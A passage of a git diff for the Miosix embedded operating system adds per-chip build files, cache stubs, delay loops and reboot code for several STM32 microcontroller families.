${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/stm32_32bit_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/gpio/stm32_gpio.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32f7_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32_serial_common.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/CMSIS/Device/ST/STM32F3xx/Source/Templates/system_stm32f3xx.cpp +) diff --git a/miosix/arch/chip/stm32f3/Makefile.inc b/miosix/arch/chip/stm32f3/Makefile.inc new file mode 100644 index 000000000..a336f794d --- /dev/null +++ b/miosix/arch/chip/stm32f3/Makefile.inc @@ -0,0 +1,31 @@ +## +## Makefile for chip stm32f3 +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture supports processes +POSTLD := mx-postlinker + +CPU_INC := arch/cpu/armv7m +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=cortex-m4 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16 +CHIP_CFLAGS := -D_CHIP_STM32F3 $(XRAM) +CHIP_CXXFLAGS := -D_CHIP_STM32F3 $(XRAM) + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv7m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/cpu/common/cortexMx_mpu.cpp \ +arch/cpu/common/cortexMx_userspace.cpp \ +arch/drivers/os_timer/stm32_32bit_os_timer.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/gpio/stm32_gpio.cpp \ +arch/drivers/serial/stm32f7_serial.cpp \ +arch/drivers/serial/stm32_serial_common.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp \ +arch/CMSIS/Device/ST/STM32F3xx/Source/Templates/system_stm32f3xx.cpp diff --git a/miosix/arch/chip/stm32f3/interfaces-impl/cache_impl.h b/miosix/arch/chip/stm32f3/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..e1c18fdc7 --- /dev/null +++ b/miosix/arch/chip/stm32f3/interfaces-impl/cache_impl.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +// Implementation of interfaces/cache.h for a chip wihtout caches + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} +inline void IRQenableCache() {} + +} //namespace miosix diff --git a/miosix/arch/chip/stm32f3/interfaces-impl/delays.cpp b/miosix/arch/chip/stm32f3/interfaces-impl/delays.cpp new file mode 100644 index 000000000..79bcff08c --- /dev/null +++ b/miosix/arch/chip/stm32f3/interfaces-impl/delays.cpp @@ -0,0 +1,139 @@ +/*************************************************************************** + * Copyright (C) 2010, 2011, 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/delays.h" + +namespace miosix { + +//TODO: these need to be updated and recalibrated, but I don't have the board + +void delayMs(unsigned int mseconds) +{ + const unsigned int count=cpuFrequency==72000000 ? 5350 : + cpuFrequency==72000000 ? 5350 : + cpuFrequency==72000000 ? 5350 : + cpuFrequency==72000000 ? 4010 : + cpuFrequency==72000000 ? 4010 : + 2000; + for(unsigned int i=0;i * + ***************************************************************************/ + +#ifndef GPIO_IMPL_H +#define GPIO_IMPL_H + +#include "drivers/gpio/stm32_gpio.h" + +#endif //GPIO_IMPL_H diff --git a/miosix/arch/chip/stm32f3/interfaces-impl/poweroff.cpp b/miosix/arch/chip/stm32f3/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..d83d3db45 --- /dev/null +++ b/miosix/arch/chip/stm32f3/interfaces-impl/poweroff.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + NVIC_SystemReset(); +} + +} // namespace miosix diff --git a/miosix/arch/chip/stm32f3/interfaces-impl/serial_impl.h b/miosix/arch/chip/stm32f3/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..d1c44c366 --- /dev/null +++ b/miosix/arch/chip/stm32f3/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/stm32f7_serial.h" diff --git a/miosix/arch/chip/stm32f4/CMakeLists.txt b/miosix/arch/chip/stm32f4/CMakeLists.txt new file mode 100644 index 000000000..157b813c2 --- /dev/null +++ b/miosix/arch/chip/stm32f4/CMakeLists.txt @@ -0,0 +1,32 @@ +## +## CMakeLists.txt for chip stm32f4 +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v7e-m+fp/hard) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m4 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_STM32F4) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_STM32F4) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_mpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_userspace.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/stm32_32bit_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/gpio/stm32_gpio.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32f1_f2_f4_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32_serial_common.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/dcc.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sdmmc/stm32f2_f4_f7_sd.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/CMSIS/Device/ST/STM32F4xx/Source/Templates/system_stm32f4xx.cpp +) diff --git a/miosix/arch/chip/stm32f4/Makefile.inc b/miosix/arch/chip/stm32f4/Makefile.inc new file mode 100644 index 000000000..fec3828c3 --- /dev/null +++ b/miosix/arch/chip/stm32f4/Makefile.inc @@ -0,0 +1,33 @@ +## +## Makefile for chip stm32f4 +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture supports processes +POSTLD := mx-postlinker + +CPU_INC := arch/cpu/armv7m +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=cortex-m4 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16 +CHIP_CFLAGS := -D_CHIP_STM32F4 $(XRAM) +CHIP_CXXFLAGS := -D_CHIP_STM32F4 $(XRAM) + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv7m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/cpu/common/cortexMx_mpu.cpp \ +arch/cpu/common/cortexMx_userspace.cpp \ +arch/drivers/os_timer/stm32_32bit_os_timer.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/gpio/stm32_gpio.cpp \ +arch/drivers/serial/stm32f1_f2_f4_serial.cpp \ +arch/drivers/serial/stm32_serial_common.cpp \ +arch/drivers/dcc.cpp \ +arch/drivers/sdmmc/stm32f2_f4_f7_sd.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp \ +arch/CMSIS/Device/ST/STM32F4xx/Source/Templates/system_stm32f4xx.cpp diff --git a/miosix/arch/chip/stm32f4/interfaces-impl/cache_impl.h b/miosix/arch/chip/stm32f4/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..e1c18fdc7 --- /dev/null +++ b/miosix/arch/chip/stm32f4/interfaces-impl/cache_impl.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +// Implementation of interfaces/cache.h for a chip wihtout caches + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} +inline void IRQenableCache() {} + +} //namespace miosix diff --git a/miosix/arch/chip/stm32f4/interfaces-impl/delays.cpp b/miosix/arch/chip/stm32f4/interfaces-impl/delays.cpp new file mode 100644 index 000000000..87dc4aa97 --- /dev/null +++ b/miosix/arch/chip/stm32f4/interfaces-impl/delays.cpp @@ -0,0 +1,61 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/delays.h" + +namespace miosix { + +void delayMs(unsigned int ms) +{ + const unsigned int count=cpuFrequency/4000; + for(unsigned int i=0;i * + ***************************************************************************/ + +#ifndef GPIO_IMPL_H +#define GPIO_IMPL_H + +#include "drivers/gpio/stm32_gpio.h" + +#endif //GPIO_IMPL_H diff --git a/miosix/arch/chip/stm32f4/interfaces-impl/poweroff.cpp b/miosix/arch/chip/stm32f4/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..d83d3db45 --- /dev/null +++ b/miosix/arch/chip/stm32f4/interfaces-impl/poweroff.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + NVIC_SystemReset(); +} + +} // namespace miosix diff --git a/miosix/arch/chip/stm32f4/interfaces-impl/serial_impl.h b/miosix/arch/chip/stm32f4/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..5e7247131 --- /dev/null +++ b/miosix/arch/chip/stm32f4/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/stm32f1_f2_f4_serial.h" diff --git a/miosix/arch/chip/stm32f7/CMakeLists.txt b/miosix/arch/chip/stm32f7/CMakeLists.txt new file mode 100644 index 000000000..ec6a639f9 --- /dev/null +++ b/miosix/arch/chip/stm32f7/CMakeLists.txt @@ -0,0 +1,29 @@ +## +## CMakeLists.txt for chip stm32f7 +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_STM32F7) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_STM32F7) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_mpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_userspace.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_cache.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/stm32_32bit_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/gpio/stm32_gpio.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32f7_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32_serial_common.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/dcc.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sdmmc/stm32f2_f4_f7_sd.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/CMSIS/Device/ST/STM32F7xx/Source/Templates/system_stm32f7xx.cpp +) diff --git a/miosix/arch/chip/stm32f7/Makefile.inc b/miosix/arch/chip/stm32f7/Makefile.inc new file mode 100644 index 000000000..86a6e9a18 --- /dev/null +++ b/miosix/arch/chip/stm32f7/Makefile.inc @@ -0,0 +1,33 @@ +## +## Makefile for chip stm32f7 +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture supports processes +POSTLD := mx-postlinker + +CPU_INC := arch/cpu/armv7m +## Select appropriate compiler flags for both ASM/C/C++/linker +CHIP_CFLAGS := -D_CHIP_STM32F7 $(XRAM) +CHIP_CXXFLAGS := -D_CHIP_STM32F7 $(XRAM) + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv7m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/cpu/common/cortexMx_mpu.cpp \ +arch/cpu/common/cortexMx_userspace.cpp \ +arch/cpu/common/cortexMx_cache.cpp \ +arch/drivers/os_timer/stm32_32bit_os_timer.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/gpio/stm32_gpio.cpp \ +arch/drivers/serial/stm32f7_serial.cpp \ +arch/drivers/serial/stm32_serial_common.cpp \ +arch/drivers/dcc.cpp \ +arch/drivers/sdmmc/stm32f2_f4_f7_sd.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp \ +arch/CMSIS/Device/ST/STM32F7xx/Source/Templates/system_stm32f7xx.cpp diff --git a/miosix/arch/chip/stm32f7/interfaces-impl/cache_impl.h b/miosix/arch/chip/stm32f7/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..321ed2f34 --- /dev/null +++ b/miosix/arch/chip/stm32f7/interfaces-impl/cache_impl.h @@ -0,0 +1 @@ +#include "cpu/common/cortexMx_cache.h" diff --git a/miosix/arch/chip/stm32f7/interfaces-impl/delays.cpp b/miosix/arch/chip/stm32f7/interfaces-impl/delays.cpp new file mode 100644 index 000000000..ec05d48e9 --- /dev/null +++ b/miosix/arch/chip/stm32f7/interfaces-impl/delays.cpp @@ -0,0 +1,62 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/delays.h" + +namespace miosix { + +void delayMs(unsigned int mseconds) +{ + //Note: flash wait state don't matter because of icache + static_assert(cpuFrequency==216000000, + "Delays uncalibrated for this sysclk"); + const unsigned int count=216000; + for(unsigned int i=0;i * + ***************************************************************************/ + +#ifndef GPIO_IMPL_H +#define GPIO_IMPL_H + +#include "drivers/gpio/stm32_gpio.h" + +#endif //GPIO_IMPL_H diff --git a/miosix/arch/chip/stm32f7/interfaces-impl/poweroff.cpp b/miosix/arch/chip/stm32f7/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..d83d3db45 --- /dev/null +++ b/miosix/arch/chip/stm32f7/interfaces-impl/poweroff.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + NVIC_SystemReset(); +} + +} // namespace miosix diff --git a/miosix/arch/chip/stm32f7/interfaces-impl/serial_impl.h b/miosix/arch/chip/stm32f7/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..d1c44c366 --- /dev/null +++ b/miosix/arch/chip/stm32f7/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/stm32f7_serial.h" diff --git a/miosix/arch/chip/stm32h5/CMakeLists.txt b/miosix/arch/chip/stm32h5/CMakeLists.txt new file mode 100644 index 000000000..2f2615e20 --- /dev/null +++ b/miosix/arch/chip/stm32h5/CMakeLists.txt @@ -0,0 +1,31 @@ +## +## CMakeLists.txt for chip stm32h5 +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv8m) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v8-m.main+fp/hard) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m33 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_STM32H5) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_STM32H5) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv8m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_mpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_userspace.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/stm32_32bit_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/gpio/stm32_gpio.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32f4_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32_serial_common.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/dcc.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/CMSIS/Device/ST/STM32H5xx/Source/Templates/system_stm32h5xx.cpp +) diff --git a/miosix/arch/chip/stm32h5/Makefile.inc b/miosix/arch/chip/stm32h5/Makefile.inc new file mode 100644 index 000000000..b0293c491 --- /dev/null +++ b/miosix/arch/chip/stm32h5/Makefile.inc @@ -0,0 +1,32 @@ +## +## Makefile for chip stm32h5 +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture supports processes +POSTLD := mx-postlinker + +CPU_INC := arch/cpu/armv8m +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=cortex-m33 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16 +CHIP_CFLAGS := -D_CHIP_STM32H5 $(XRAM) +CHIP_CXXFLAGS := -D_CHIP_STM32H5 $(XRAM) + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv8m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/cpu/common/cortexMx_mpu.cpp \ +arch/cpu/common/cortexMx_userspace.cpp \ +arch/drivers/os_timer/stm32_32bit_os_timer.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/gpio/stm32_gpio.cpp \ +arch/drivers/serial/stm32f4_serial.cpp \ +arch/drivers/serial/stm32_serial_common.cpp \ +arch/drivers/dcc.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp \ +arch/CMSIS/Device/ST/STM32H5xx/Source/Templates/system_stm32h5xx.cpp diff --git a/miosix/arch/chip/stm32h5/interfaces-impl/cache_impl.h b/miosix/arch/chip/stm32h5/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..e1c18fdc7 --- /dev/null +++ b/miosix/arch/chip/stm32h5/interfaces-impl/cache_impl.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + 